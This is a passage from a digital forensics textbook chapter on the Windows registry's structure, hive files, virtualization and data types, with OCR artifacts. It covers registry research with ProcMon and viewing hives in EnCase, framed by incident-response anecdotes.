received its configuration settings from two small files, config.sys and autoexec.bat. The
config.sys file primarily loaded device drivers, while autoexec.bat was for setting environ-
ment variables, running programs, and the like.

The first Windows graphical user interface (GUI) was Microsoft Windows 3.0. This first ver-
sion of Windows introduced .1in1 files as containers for configuration files. These .in1 files
were flat text files lacking any hierarchical structure. The configuration data was organized by
sections, but even so, their length and the amount of data in them made management difficult.
Furthermore, it was difficult to store binary data in text files.

Windows 3.1 followed shortly after Windows 3.0, and with it came the rudiments of the sys-
tem registry. This system registry was organized in a hierarchical file system and was used as
a repository for system configuration settings. Windows 95 and NT 3.5 expanded the registry
to the structure and interface that we find today in Windows 7 and Server 2008. Although the
structure and interface are similar between the early version and today’s versions of the registry,
its size and complexity have grown tremendously. In addition, the number of files in which reg-
istry values are stored have gone from two in Windows 9x to nearly a dozen in Windows 7/2008.

Registry Organization and Terminology

At a physical level, the Windows registry is stored in files called hives. The interface for the user and
applications takes on a logical scheme, or format. This logical structure very closely resembles the
directory structure used by Windows Explorer to store data in files and folders. Instead of using
folders, the registry uses keys. Instead of using files, the registry uses values. By viewing the registry
within this framework, you should easily understand the registry’s hierarchy and terminology.
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FIGURE 8.1 #i' Registry Editor | I [=[ B
Windows 7 Registry

Editor

THE REGISTRY EDITOR

The interface by which the user primarily views, searches, or modifies the registry is with the
Registry Editor tool. For versions of Windows up to and including Windows 2000, you had to
choose between two registry editors (regedit.exe or regedt32.exe), depending on the task
at hand. Either would allow you to view and navigate the registry, but they had different fea-
ture sets, forcing users to know their tools and to make a proper choice. Fortunately, Microsoft
resolved that problem with the release of Windows XP/2003 and combined all features into one
registry editor known simply as regedit.

Windows 7/2008 contains files for both regedit.exe and regedt32.exe, and at first glance
you might think that both forms of the Registry Editor exist as they had in the past. In fact,
you can launch either and edit the registry; however, if you look more closely at the registry-
editing interface, you’ll find it identical regardless of which executable you use to launch it. If
you look at the file sizes, you'll find that regedit.exe is approximately 389 KB in size, whereas
regedt32.exe is approximately 9 KB. It turns out that regedt32. exe does nothing more than
launch the real Registry Editor, which is regedit.exe. It was put there as a legacy feature, so
that those used to typing in regedt32.exe would not be disappointed!

Microsoft does not provide a shortcut to the Registry Editor on any known menu. As pre-
viously mentioned, Microsoft has expended considerable effort in keeping the registry well
below the radar. The registry is only briefly mentioned in the help section of the documentation.
Interestingly, Microsoft knowledge bases often provide fixes that require editing the registry,
but they always include a warning against editing it, even to the point of recommending that
administrators edit the registry as a last resort.

It stands to reason, therefore, that the registry-editing interface is obscure by design and
requires specific knowledge to find it. By not providing an icon or link, Microsoft has made it
unlikely that casual users will blunder into the registry and trash their system. That being said,
regedit.exe is found in the root of Windows and is usually accessed from the run command.
To open the run command, hold down the Windows key and press R for run. In the Run win-
dow, type regedit (or regedit.exe if you prefer) and press Enter. Figure 8.1 shows the Registry
Editor as it appears when it is first launched.

In the Registry Editor, the left pane is called the key pane and the right pane is called the
value pane.
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The Windows registry consists of five root-level keys. If you look again at Figure 8.1, you will
see them listed in the key pane, each with the prefix HKEY. These root keys, along with a brief
description of their purpose, are listed in Table 8.1. Of the five root keys in the registry, only two
are master keys. The remaining three keys are derived keys, meaning they are linked to keys
within the two master keys. Note that the two master keys appear in bold type in the table.

TABLE 8.1: Five root keys of the registry

RooT KEY NAME

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_CURRENT_CONFIG

HKEY_LOCAL_MACHINE

HKEY_USERS

BRIEF DESCRIPTION

Used to associate file types with programs that open them and also to register
classes for Component Object Model (COM) objects. Itis the largest of the
root keysin terms of the registry space it occupies. This key is derived from
two keys, HKLM\Software\Classes and HKCU\Software\Classes. This merger
effectively blends default settings with per-user settings.

Used to configure the environment for the console user. It is a per-user setting
(specific only to this user) and is derived from a link to HKU\SID, where the
SID is the user’s security identifier.

Used to establish the current hardware configuration profile. This key
isderived from alinkto HKLM\SYSTEM\CurrentControlSet\Hardware
Profiles\Current. Current is derived from alink to HKLM\SYSTEM\
CurrentControlSet\Hardware Profiles\####, where #### is anumber that
increments starting at 0000. HKLM\SYSTEM\CurrentControlSet, in turn, is
alinkto HKLM\SYSTEM\ControlSet###, where ### is anumber that incre-
ments starting at 000. The value located in HKLM\SYSTEM\Select\Current
determines which control setis current and, therefore, which control setis to
be used to create this key via alink.

Used to establish the per-computer settings. Settings found in this key apply
to the machine and all of its users, covering all facets of the computer’s func-
tion. This key is amaster key and is not, therefore, derived from any link as
are the previous three keys. During system startup, the local machine set-
tings are loaded before the user-specific settings.

Used to contain the user environment settings for the console user as well as
other users who have logged on to the system. There will be at least three sub-
keys, which are .DEFAULT, SID, and SID_Classes, where the SID is that of the
console user. You may also find SIDs S-1-5-18, S-1-5-19, and S-1-5-20, which
are for the LocalSystem, LocalService, and NetworkService accounts, respec-
tively. Any other SIDs found here will belong to other users who have logged
on to the machine. This key is a master key and is not, therefore, derived from
any link as are the first three keys (the ones that are not bolded).
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REGISTRY ROOT KEYS

While we generally refer to the five root registry keys, there are in fact six root keys. The sixth
root key is HKEY_PERFORMANCE_DATA. This key is responsible for providing access to Windows’
performance counter information for both the operating system and for various applications.
This key is not available for review using Registry Editor or any forensic tool because it’s only
accessible through programmatic means and the performance counter information isn’t really
stored in the registry. What is stored there are the links to where the performance data can be
found.

THe HKLM HivE

At a physical level, each of the logical master keys has its source data stored in files called
hives. For each of the two master keys (HKLM and HKU), there are subkeys named for each of the
hive files. Table 8.2 lists the HKEY_LOCAL_MACHINE (abbreviated HKLM) hive keys and the associ-
ated hive or source files from which they originate. These hive files are located in the folder
%SYSTEMROOT%\System32\config.

TABLE 8.2: HKLM hive keys and their corresponding hive files
HIVE KEY HIVE FILE
HKLM\ SAM %SYSTEMROOT%\System32\config\SAM
HKLM\SECURITY %SYSTEMROOT%\System32\config\SECURITY
HKLM\SOFTWARE %SYSTEMROOT%\System32\config\SOFTWARE
HKLM\SYSTEM %SYSTEMROOT%\System32\config\SYSTEM
HKLM\BCD00000000 %SYSTEMROOT%\Boot\BCD
HKLM\COMPONENTS %SYSTEMROOT%\System32\config\COMPONENTS

In Windows XP, 2000, and 2003, the folder %SYSTEMROOT%\System32\config was an
evidence-rich location. In addition to hosting the local machine registry hive files, it contained
the Windows event log files. Since Windows Vista, however, the Windows event log files were
moved, and now the config folder is mostly home to the registry hive files, their associated
log files, and the registry backup (RegBack in Vista and beyond and Repair for pre-Vista
OSes).
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@ Real World Scenario

TIME IS OF THE ESSENCE

In our experience, many network intrusions take place on Friday nights or holiday weekends. Why?
Because attackers know that the IT shop has gone home and the systems are left alone—defended
only by their security systems. Add to that the idea that even when the IT security folks come back
into the office on Monday or Tuesday, the first thing that they tend to do is read email. Thus, an
attacker could have two or three full days of playtime in the systems before the IT staff starts going
through logs to see what happened over the weekend. By the time the IT staff has gone through the
logs, realized that they’ve likely been compromised, and sent the report up the chain of command,
it’s Wednesday night. Then the legal team gets involved. When all is said and done, it is Thursday
night before they decide to retain outside experts to come in to determine what happened, when,
how, and what data was exfiltrated. I can’t tell you how many times we have been called on a
Thursday night and asked to be onsite in a few hours.

While it is often preferable to get a forensic image of a compromised computer as soon as possible,
sometimes it takes longer than you’d like. In some cases being onsite within hours is possible, but
when it’s late at night and there are no more flights, you’re not going anywhere until the next morn-
ing. In this time, however, you can make requests of trusted IT staff to provide the registry files and
Windows event logs so that you can review them prior to getting onsite. If the computer has already
been seized and you aren’t the person doing the forensic analysis, then you can get a jump start on
your investigation by requesting the contents of these folders immediately from your computer
forensics examiner. In this manner, you can begin your network investigation while the trail is warm.

In one case, alarge corporation contacted us late on a Thursday. When we couldn’t get there before
the next day, we had them send us the registry files and the Windows event logs from the server that
they assumed had been compromised. By the time we got onsite the next morning, we knew what
applications had been installed and executed based on registry information. From the event logs,
we knew which internal computer had logged in remotely to the compromised server. It helped us
get started on the right foot and put certain computers in scope that might not have been first on
our priority list. It also provided us the capability to look for the same offending application across
the network in search of other potentially compromised hosts.

HKLM SUBKEYS

If you look at the live registry under the master key HKLM, as the screenshot taken from a
Windows Server 2008 R2 system shows in Figure 8.2, you will see subkeys named after the six
hive keys. Figure 8.3 shows a Windows Explorer view of five of the six the source hive files (the
sixth, BCD, is hidden under the Boot folder at the root of the system drive). You will also see one
more subkey in Figure 8.2 named HARDWARE. Interestingly, HARDWARE is a dynamic key with no
source hive file stored on disk. It is created as a dynamic key in RAM when Windows boots, and
it disappears when the computer is shut down. This dynamic hive contains information about
the hardware such as BIOS versions and manufacturer. This type of information is not normally
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vital for our purposes; however, the fact that this data disappears when power is removed from
the computer should reinforce the need for capturing volatile data when the system is live.

FIGURE 8.2 Registry Editor ;IEILI
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The BCD00000000 key contains the Boot Configuration Database that took over for the
Boot.ini file starting with Windows Vista. Among other capabilities, the BCD provides you
with the boot options in a multiboot computer system. It also tells the computer whether it
should run the normal startup process or run a resume process instead. If you'd like to see
what is contained in your BCD file, you can drop to a command line and enter the command
bcdedit.exe, and the window will display the file’s contents. In order to get additional detail of
the possible settings, you can go to Microsoft’s TechNet site and search for “BCD.”

The COMPONENTS key contains information that is used in the Component-Based Servicing
(CBS) stack. The information in this key is used by various APIs in order to determine what
components are installed in the operating system and how they are configured. Whenever com-
ponents that are addressed in this key are installed, updated, or uninstalled, information in this
key is accessed. This key is common in Windows Vista and Windows 2008, but you may not
always see it in Windows 7.
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WHY Do 1 CARE?

Now, you are probably saying to yourself, “The BCD and COMPONENTS keys don’t appear to have any
forensic importance, so why do we care?” You are correct; they don’t tend to be full of information
that would necessarily be pertinent to a forensic investigation, but there is a lot of information
in the BCD, and it’s important to know about it. Similarly, the COMPONENTS hive contains a lot
of information, but its known relevance to a forensic investigation is limited at this point. One
thing that we have often said is that the registry is a little bit like the Wild West. It’s an unknown
quantity until someone goes through it in excruciating detail. Frankly, the only folks who know
everything that happens in the registry are the folks at Microsoft who write the code. So, it is
certainly possible that there is a gold mine of important forensic artifacts in these two keys, but
they are as yet undiscovered. Thus, it’s worthwhile to know that the keys exist and what their
function is supposed to be.

REGISTRY REDIRECTION AND REFLECTION

Starting with Windows XP (the 64-bit version), a couple of new features were enabled that
allowed for the isolation of 32- and 64-bit applications. These features are called registry redi-
rection and reflection, and it’s important to understand their impact on the forensic analysis
of the registry so that, as examiners, investigators, and incident responders, we leave no stone
unturned.

The purpose of registry redirection and reflection surrounds the issue of needing to isolate
legacy 32-bit applications that are running in a 64-bit world. In essence, redirection gives us
the ability for 32-bit and 64-bit applications to coexist on the same computer, even if they call,
write, edit, or create registry keys that have the same name. As a result of the redirection, 32-bit
applications that write entries into the systemwide registry key HKLM\SOFTWARE are redirected
to the HKLM\SOFTWARE\WOW6432Node key. This key maps back to HKLM\SOFTWARE and provides
the application with the illusion that it is running on a 32-bit system. Some of the subkeys
under HKLM\SOFTWARE are shared with the 64-bit system instead of being redirected to the
WOW6432Node key. The keys that are affected by the redirection are listed at:

http://msdn.microsoft.com/en-us/Tibrary/aa384253.aspx.

In some cases, while the registry entries of 32-bit and 64-bit applications must be isolated, it is
important that some values between the two logical registry views maintain the same informa-
tion. This is where reflection comes to our aid. Reflection is essentially the synchronization of
any changes that occur in the 64-bit registry key to the redirected 32-bit registry key and vice
versa. In this way, we can be assured that both 32- and 64-bit applications are running off the
same information in the registry. Registry reflection has been phased out in Windows 7 and
2008 R2 in favor of shared keys, but it was functional in Windows 2000, XP, 2003, Vista, and 2008.

REGISTRY VIRTUALIZATION

Registry redirection and reflection are different from another feature that was introduced with
Windows Vista—registry virtualization. Registry virtualization is a User Account Control
(UAC)-related process. When a non-administrative user, or an interactive application running in
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the security context of a non-administrative user, attempts to make a systemwide registry change
to certain keys in the HKLM\SOFTWARE registry key, that change is instead placed into a user-
based virtual location. This user-based recording helps protect the system by restricting non-
administrative users from making systemwide changes that affect all users. If a registry key is
opened up for writing, but the user account doesn’t have the permissions to write to that key, the
changes that were destined for HKLM\SOFTWARE are made in HKU\<SID>_Classes\VirtualStore\
Machine\Software. This key then stores its data in the %SystemRoot%\Users\%UserName%\
AppData\Local\Microsoft\Windows\UsrClass.dat hive file. This virtualization allows a non-
administrative user to be able to run applications that require the registry change capability
without having administrative permissions. This capability allegedly won't be around for long,
because it is being deprecated by Microsoft; new applications are not supposed to be written to
require the capability to make systemwide registry changes. (It’s a violation of the security prin-
ciple that Microsoft has adopted, called the principle of least privilege.)

Registry virtualization does not impact every application that could possibly be loaded on
a Windows operating system. It is limited to 32-bit interactive applications and to entries in the
HKLM\SOFTWARE key. In addition, it’s limited to keys that an administrator has permissions to
write to. If an application wants to write to a key that even an administrator doesn’t have per-
missions to change, the write attempt will fail on both the master key and the virtualized key.
This also doesn’t work for keys in the following;:

& HKLM\Software\Classes
& HKLM\Software\Microsoft\Windows
& HKLM\Software\Microsoft\WindowsNT

The impact of registry virtualization is that we now have a bit more work to do when looking
for user-specific data in the registry. The upside is that each non-administrative user now has
certain keys that apply only to that user, which can show which user account made the change.
Starting with Windows Vista, we have another user-based registry file (UsrClass.dat) that we
have to consult in addition to NTUSER.DAT. From a registry redirection and reflection standpoint,
we now know that we also need to examine the WOW64 subkeys when we're looking for applica-
tion information stored in the registry. We can’t just assume that everything we need to find is
going to be where it was in previous Windows versions. If we only look in the NTUSER. DAT file
and under the HKLM\SOFTWARE key for information related to applications installed on the target
computer, we may miss the golden nugget that would lead to the intruder, her toolbox, or a spe-
cific process that was used during the intrusion. We’ll talk more about registry artifacts found
in these areas in Chapter 9, “Registry Evidence.”

THeE HKU Hive

Thus far, we've covered the subkeys and source hive files located under HKLM. The master key
HKU has its share of subkeys and source hive files as well. In fact, each subkey under HKU is a hive
key with a corresponding hive file. The hive files for HKU are found in several locations. Table 8.3
shows the various hive keys in HKU and their source hive files. When SID is referenced, it is the
SID of the console user or other past logged-on user. When UserName is referenced, it is the user-
name corresponding to the SID.
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TABLE 8.3: HKU hive keys and their corresponding hive files

HIVE KEY HIVE FILE

HKU\ .DEFAULT %SYSTEMROOT%\System32\config\default

HKU\S-1-5-19 Documents and Settings\LocalService NTUSER.DAT (Pre-Vista OSes)
%SYSTEMROOT%\Windows\ServiceProfiles\LocalService\NTUSER.DAT
(Vistaand beyond)

HKU\S-1-5-19_ Documents and Settings\LocalService\Local Settings\Application

Classes Data\Microsoft\Windows\UsrClass.dat (Pre-Vista OSes only; this key doesn’t

existin Vistaand beyond.)

HKU\S-1-5-20 Documents and Settings\NetworkService NTUSER.DAT%SYSTEMROOT%\
Windows\ServiceProfiles\NetworkService\NTUSER.DAT (Post-Vista OSes)

HKU\S-1-5-20_ Documents and Settings\NetworkService\Local Settings\Application

Classes Data\Microsoft\Windows\UsrClass.dat (Pre-Vista OSs only; this key doesn’t

existin Vistaand beyond.)

HKU\SID Documents and Settings\UserName\NTUSER.DAT (Pre-Vista 0Ses)
Users\UserName\NTUSER.DAT (Vistaand beyond)

HKU\SID_Classes Documents and Settings\UserName\Local Settings\Application Data\
Microsoft\Windows\UsrClass.dat (Pre-Vista 0Ses)Users\UserName\
AppData\Local\Microsoft\Windows\UsrClass.dat (Vistaand beyond)

When the system loads these hives into the registry, there is one key that lists, or maps, the
loaded hive files (complete with paths) with their corresponding registry hive keys. This key may
be found at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\hivelist. Notice that
the HARDWARE key lacks a file path. Again, this is because this subkey is dynamically generated at
boot time. From an evidentiary point of view, this subkey is unremarkable, but it is an excellent
place to visit for understanding the relationships between hive files and hive keys that are loaded
on the system. Figure 8.4 shows this key as viewed in Registry Editor. You should expect to find
this subkey only in the live registry. When the system is shut down, none of the hives are loaded,
and this subkey therefore won't appear in a hive file viewed in an offline forensic environment.

REGISTRY KEY VALUES AND ATTRIBUTES

As previously mentioned, the registry keys are displayed in the left, or key, pane of the Registry
Editor. It is from this pane that you may navigate the hierarchy of the various registry keys. The
right, or value, pane is the pane by which you view or access the registry values. A value has
three components: its name, its data type, and its data. Figure 8.5 shows Registry Editor with

a series of values in the value pane. The value pane has a column for each of the three value
attributes (Name, Type, and Data). In this particular case, you see the values for the HKEY_LOCAL _
MACHINE\SYSTEM\Select key. Note that the value named Current has a data value of 1, mean-
ing that the operating system will load ControlSet001 by default without any user interaction.
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Notice there is also a key called LastKnownGood that contains a value of 3. This is the ControlSet
that gets activated when the user selects the Last Known Good Configuration option that the
user can choose from the Safe Mode boot screen (the screen that is accessed during boot with

the F8 key).
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All values have names because there can’t be a null name. A value’s name is analogous to a
file’s name. A value name can be up to 512 ANSI characters in length (256 Unicode characters),
except for the special characters question mark (?), backslash (\), and asterisk (*). Furthermore,
Windows XP through Windows 7 reserve all value names that begin with a dot (.). Just as no
folder can contain two files with exactly the same name, no key can contain two values with
exactly the same name.
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SAVE YOUR EYES

The Windows Registry Editor has a search feature under the Edit menu. With this feature, you
can search for data in the registry. You can limit your search to keys, values, or data, or you can

search all three areas.

Each value contains data of a specified data type specified by a number. The Registry Editor
interprets the number so that the user sees the data type in plain text. Table 8.4 shows each of the
data types, their corresponding number, and a brief description of what the data type means.

TABLE 8.4:

DATA TYPE

REG_NONE

REG_SZ

REG_EXPAND_SZ

REG_BINARY

REG_DWORD

REG_DWORD_LITTLE_ENDIAN

REG_DWORD_BIG_ENDIAN

REG_LINK

REG_MULTI_SZ

REG_RESOURCE_LIST

Registry value data types

NUMBER

0

DESCRIPTION

Datatypeisnotdefined.

Fixed-length text string expressedinuser-
friendly format, which is often used to
describe components.

Variable- or expandable-length data string.

Binary data thatis displayed in the editoras
hex.

32-bit double word values and the most com-
mon data type found in the registry.

32-bit double word values with bytesin
reverse order. Since Intel already stores data
in this format, this termis synonymous with
REG_DWORD and they have the same numeric
value.

32-bit double word value with bytes in normal
order with the highest bit appearing first.

Aninternal-use-only data type fora Unicode
symboliclink.

Multiple-string field in which each string is
separated by anull (00), and two nulls (00 00)
mark the end of the list of strings.

Listing of resource lists for devices or device
drivers.
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TABLE 8.4: Registry value data types (continued)
DATA TYPE NUMBER DESCRIPTION
REG_FULL_RESOURCE_DESCRIPTOR 9 Hardware resource descriptions.
REG_RESOURCE_REQUIREMENTS_LIST 10 Resource requirements.
REG_QWORD 11 64-bit number.
REG_QWORD_LITTLE_ENDIAN 12 64-bitnumberin little endian format (low
byte first).

Performing Registry Research

In Chapter 6, “Analyzing the Computer,” we used Procmon.exe as a tool to examine the writes
made to the registry by the installation of malware or bad code in order to see its impact on the
host system. This same tool, Procmon. exe, can be used in a similar manner to see where and
how various system settings are stored in the registry.

Although there are an infinite number of possible examples to use, the basic methodology
is the same regardless of the example. In essence, we will run ProcMon, start to capture data,
make a system setting change, stop the data capture, and examine the writes made to the regis-
try. Naturally, we'll carry out this process in a known, controlled environment.

Using this methodology, you can definitively determine where and how data is stored in
the registry. Armed with this information, you can examine these same registry keys on your
evidence files. As part of your report (and, if necessary, later testimony), you can state that you
validated the data by testing it in a live environment using ProcMon, thereby giving greater
credibility to your findings.

@ Real World Scenario

THE DEVIL YOU KNOW

1 (Ryan) was present at a murder trial not too long ago where the defense expert testified that
certain registry keys were created, edited, and deleted when a particular application was run.
In addition, he testified that certain artifacts that were present on the filesystem were a result of
evidence tampering by the police. On cross-examination, the expert testified that he didn’t try to
duplicate the artifacts himself; he merely read on a forensics list that the patterns that were seen
on the defendant’s computer were consistent with a particular application being run and someone
tampering with the evidence. The prosecutor in this case did a very good job getting the expert to
hem himselfinto a very tight corner, allowing him to testify repeatedly that he didn’t know firsthand
if the facts he was testifying to were actually true or not.
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When the prosecution had their chance to call a rebuttal witness, they called an expert who was
able to take the stand and refute what the defense expert had said about the application and the
tampering. During cross-examination, the defense tried the tactic that was well employed by the
prosecutor and asked how the expert could possibly know that what he was testifying to was the
truth. “I tested it, and  have a video capture of the tests that show that it happens the way 1 described
it,” was the reply.

While it is easy to rely on information from people who participate on message boards, there is no
substitute for testing things yourself.

In the exercise that follows, we’ll show where the IP address of a particular network interface
is stored in the registry. To determine this, you’ll change the IP address to a known value while
running ProcMon and filtering for this IP address only. In this manner, you limit the informa-
tion seen in ProcMon to only that involving the IP address and make your job easier.

BEHOLD YOUR SWISS ARMY KNIFE

In ProcMon, SysInternals (technet.microsoft.com/en-us/sysinternals/default) has
compiled many different monitors into one application. Now, instead of having individual applica-
tions that monitor the registry and another that monitors filesystem changes, ProcMon is capable
of recording registry changes, filesystem changes, network activity, process and thread activity,
and various profiling events. ProcMon is a feature-rich application that will benefit you greatly
in your research.

1. Your first step is to launch Procmon. exe and set a filter. When you open Process Monitor
for the first time, the interface automatically begins capturing data.

2. You want to stop the capture activity that began as soon as you launched the application
so you can set up your filters to focus only on the registry information that flies by on the
screen. To do this, go to File Capture Events (Ctrl+E). You then want to clear the event
window so you start with a fresh slate. The Clear Display option is located under Edit >
Clear Display (Ctrl+X). Now, you want to limit the information captured by Process
Monitor, so that it only reports information written to and accessed from the registry. You
can turn off data sets by clicking the application icons on the button bar. The icon you
want to leave selected for this exercise is the application icon for regedit.exe, as shown
in Figure 8.6. Now that you have only registry information selected, you want to set a fil-
ter for the IP address that you are going to use.

3. The options you need to change to filter for the IP address are found under the Filter menu.
When you select Filter (Ctrl+L), the Process Monitor Filter window appears, as in Figure 8.7.
In order to reduce the data to only the IP address we are interested in, select Detail in the
first drop-down box and then Contains in the second. In the third box, input our IP address
of interest: 192.168.1.250. Once those setting changes are complete, click the Add button
to activate the filter, and click OK to close the Process Monitor Filter dialog box.
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4. After the filter is set, begin the capture again (Ctrl+E).
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5. After you start the capture, it’s time to change the IP address. In Windows 7, this can
be done by clicking Start > Control Panel > Network And Internet > Network And
Sharing Center > Change Adapter Settings > Local Area Connection > Internet

Protocol Version 4 (TCP/IPv4) Properties. In our example you're going to change the IP
address to 192.168.1.250, as shown in Figure 8.8. Once this is set, click OK to close the
Properties window, and then click OK to close the Local Area Connection Properties win-
dow and commit the changes to the registry.
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Since we had configured ProcMon to filter for this new IP address, if you now look at
the ProcMon window, you should see only the writes to the registry that involved the value
192.168.1.250. Figure 8.9 shows a write action to one registry key. Note that the interface is
assigned a rather lengthy hexadecimal GUID (Globally Unique ID). Armed with this informa-
tion and assuming you’re testing on the same operating system as the target system, you can
look at the key, note the interface by its GUID, and determine IP addresses on a target system’s

registry.

FIGURE 8.9
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Using this registry research technique, you can easily adapt and create a wide variety of situ-
ations in which you can change system settings and monitor the results with ProcMon. In this
manner, an examiner or investigator is in position to directly observe where and how the data is
stored. This technique will facilitate your investigations and lend tremendous credibility to your
reports and testimony.

OTHER REGISTRY ANALYSIS TOOLS

Other tools are available for registry analysis work. A very good tool that is available for free is
regshot (http://sourceforge.net/projects/regshot). With regshot, you scan the registry,
make your system change, and then scan the registry a second time. When regshot finishes the
second scan, it provides a view of the data that changed between registry snapshots (in text or
HTML format) and allows you to see the impact of the system change on the registry. As with
any Windows registry, the number of changes occurring varies with how much is installed on a
system and how active it is. Testing of this nature is best done on a bare-bones test platform that
is doing little other than running your test.

Viewing the Registry with Forensic Tools

We’ve now covered the basics of the live registry as seen by a user in Registry Editor, which is
the logical interface by which the registry hive files are addressed, viewed, and edited. The live
registry, as thus far depicted, and the registry as seen in offline forensic environments have
noticeable differences. When you view the registry with an offline forensic tool, you are looking
only at the hive files, and that view differs from a live registry in many ways. One such example
is the HARDWARE key; you will not see the HARDWARE key that exists in the live registry under
HKLM. This key is a dynamic key, created at boot, and exists only in RAM while the system is
loaded and running. There is no HARDWARE hive file for this dynamic key.

We have explained that certain keys exist virtually as links to keys on the master keys.
You should not therefore expect to see the virtually created keys, but you can certainly view
their data by going to the key to which they are linked. For example, don’t expect to see HKEY_
CURRENT_USER in the offline forensic tool registry view. However, we know that this key is
derived from the SID key under HKEY_USERS and that the SID key is actually a hive key whose
source file is NTUSER.DAT, which is located in the root of the SID user’s folder (root user folder).
Figure 8.10 shows an Explorer view depicting the location of the administrator’s NTUSER . DAT
hive file. The NTUSER.DAT file is highlighted in the right pane. By parsing a particular user’s
NTUSER.DAT file, you are looking at what was their HKEY_CURRENT_USER key while it was in the
live registry and at least part of its content (user environment/profile) when the user was last
logged on. (Don't forget about the UsrClass.dat file because it now contains some user-specific
information too!)
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MAKING REGISTRY HIVE FILES VISIBLE

Registry hive files, like many other system files, are usually hidden from view by Explorer to
prevent inadvertent damage to the operating system. In Windows Vista and beyond, to view
these files, open Explorer and select Organize > Folder And Search Options > View. Under
Hidden Files And Folders, check Show Hidden Files And Folders. Then uncheck Hide Extensions
For Known File Types and Hide Protected Operating System Files. When you are finished, click
Apply To All Folders, and then click OK to close. From this point on, you will see all hidden files,

all system files, and all file extensions in all folders.

If you look at the five forensically important hive files (SAM, SECURITY, SOFTWARE, SYSTEM,
and DEFAULT) located in the %SystemRoot%\System32\conf1ig folder, you will note that they
have counterparts by the same names located in the %SystemRoot%\repair folder for Windows
XP and in the %SystemRoot%\RegBack folder for Windows Vista and beyond. The ones in the
repair or RegBack folder are there for repair purposes (basic configuration) if things go really

bad. We want the active registry hive files in the config folder. Don’t confuse the two!

With this basic background information on viewing registry hive files in an offline mode
with forensic tools, let’s now use a few specific tools to view the registry. We will cover two
tools that you can use, ranging in price from expensive to free. Those tools are EnCase and

AccessData’s Registry Viewer.

233



234 |CHAPTER8 THEREGISTRY STRUCTURE

Using EnCase to View the Registry

EnCase is a computer forensics tool used by many computer forensic examiners and intrusion
investigators. Depending on your environment, you may be doing both the computer forensics
and the network investigation. In other environments, the functions are segregated. Regardless,
if you have EnCase available, it is an excellent tool to use to examine the Windows registry.

Examining Information Manually

Registry hive files are compound files that are mountable in EnCase. Within EnCase version 6
(we'll talk about version 7 later in this chapter), you can mount these files by right-clicking the
registry file’s name and choosing View File Structure from the pop-up menu. Before you mount
the file, however, you must first locate it. EnCase makes this task very easy using the Conditions
feature. Go to the Filters pane, navigate to the Conditions tab, and double-click the Registry Files
condition, which is located in the Files folder under the System Files subfolder. With this con-
dition set, activate the Set Included Folders trigger at the device level, and the registry files will
appear in the table view pane, as shown in Figure 8.11. In this view, note that the NTUSER . DAT file
has been highlighted and, more specifically, that the focus is in the Permissions column for that
file. If there is dot in the Permissions column, placing your cursor in the Permissions column will
make NTFS permissions available on the Details tab in the view pane. In Figure 8.11 you can see
the username and SID for this NTUSER . DAT file’s owner.

To mount any of the hive files, simply right-click the desired file and choose View File

Structure.
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TIP

Take heed when locating hive files. Usually, you will want to view the hive files located in the
%SystemRoot%\System32\conf1ig folder and not those in the repair or RegBak folder. Make
sure you check the path location of a hive file before mounting it.

Since some of these files are very large and complex, mounting them may take some time, but
usually less than a minute. When the file mounts, you can navigate through the various keys as
you would any hierarchical file structure. If you used the Registry Files condition to locate the
hive files, before you can navigate and see values in the table pane, you'll need to turn off that
condition by clicking the Query button on the toolbar. When a value is displayed in the table
view pane, you will see its name in the Name column, its data type in the File Type column,
and its data in the view pane in either the text or hex view depending on which button you have
selected in the view pane.

Figure 8.12 shows a SYSTEM hive file mounted. Note that there is no key named
CurrentControlSet because this is a dynamically created key seen only in a live registry. Since
we are looking at an offline registry through a forensic tool, we see only Contro1Set001 and
ControlSet002, and there could well be many more on some systems. To determine which
control set is current, look at the SeTect key. The SeTect key contains four values. While
the other values are important, we want to know which control set is current, and the value
named Current contains the data that makes that determination. In this case, the data for the
Current value is a DWORD data type, and the data reads 01 00 00 00. This value translates into,
simply, 1 and the current control set is 1. Thus, forensically, we look to the value contained in
ControlSet001 to be that of the CurrentControlSet key.
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BE ON THE LOOKOUT FOR BACKUP COPIES OF THE REGISTRY HIVE FILES!

When you use the Registry Files condition in EnCase v6 to locate registry hive files, you may find
several copies of registry hive file backups in various locations, including a folder called System
Volume Information thatisfound ontherootofthe OSdrive. This s the folder where Windows
automatically stores backups of important files (like registry files) when the OS creates a restore
point (we talk more about this in Chapter 9). Hackers are very good at backing up their registries
before experimenting with hacking tools. They have learned the hard way that it pays to back up
their registry, particularly when working with Trojans and other nefarious utilities. You may find
considerable evidence of their activities in these backup copies, so don’t overlook them. You may
also find that they changed the names of these files when they copied them. If so, don’t expect to
find them based on filename but rather by file signature analysis.

Using EnScripts to Extract Information

In addition to manual examination of the Windows registry, EnCase offers several EnScripts
that mount the registry, extract information, and then unmount the registry when finished. The
results of these EnScripts are most often found in the bookmarks view. EnScripts are an excel-
lent way to pull out routine information, as well as other specialized information from the regis-
try, saving considerable time and energy. The Windows Initialize Case EnScript extracts a large
volume of information from the registry that is useful in almost any situation. Figure 8.13 shows
the Windows Initialize Case options that show up when we execute the Case Processor EnScript
and double-click the Initialize Case module. In this case, we chose to extract the time zone infor-
mation from the registry using the Initialize Case module.
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@ Real World Scenario

TIME ZONE ROULETTE

When dealing with intrusions, you will be dealing with many different systems and network devices
that have different ways of storing time zone information. In a recent intrusion, we had to deal with
logs that were being created with references to several different time zones. We had Windows event
logs that were stored in local time, Unix logs that were stored in UTC, and network device logs that
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were storing information in local time. In order to completely correlate the logs that we had with
the images of the servers, we needed to make sure that we shifted everything to local time so that
the client could correlate that to activities happening on their site during the time frame of inter-
est. We needed to make sure that the client remembered (and that we remembered) that when the
Unix logs rolled over to a new day at 00:00:00 UTC, that was actually 19:00:00 EST. Thus, when we
asked for additional logs from their archive for a particular day, we needed to remember to ask for
log scopes that were not in local time but in UTC. Then, when we examined the logs that were not
stored in UTC, we needed to remember to adjust our forensic tools to make sure that everything we
were looking at was in the same time zone. We describe the importance of this in terms of forensic
images of computers, but it is important in all forms of data that contain time stamps.

NTFS, as well as most of the time stamps found in the registry, is stored natively in Greenwich Mean
Time (GMT). The operating system displays local times to the user as an offset to GMT based on the
user’s local time zone offset stored in the registry. For example, let’s say an event occurs on February
1,2011, at 1300 hoursin Eastern Standard Time (EST). It will be stored as February 1, 2011, 1800 hours
in GMT. To display the time to the user, the operating system subtracts the EST offset (GMT-05:00)
from 1800 hours and displays it as 1300 hours. If you are examining media that was set to a different
